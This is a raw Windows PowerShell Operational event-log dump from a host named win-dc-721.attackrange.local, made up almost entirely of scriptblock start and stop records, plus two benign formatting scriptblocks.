Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477824
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477820
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477819
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477818
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477817
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477816
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477815
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477814
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477813
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477812
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477810
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477806
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477805
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477804
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477803
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477802
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477801
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477800
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477799
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477798
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477797
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477795
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477794
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477793
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477792
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477791
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477790
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477789
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477788
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477786
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477782
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477781
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477780
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477779
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477778
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477777
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477776
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477775
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477774
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477773
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Path:
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477771
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477770
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Path:
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
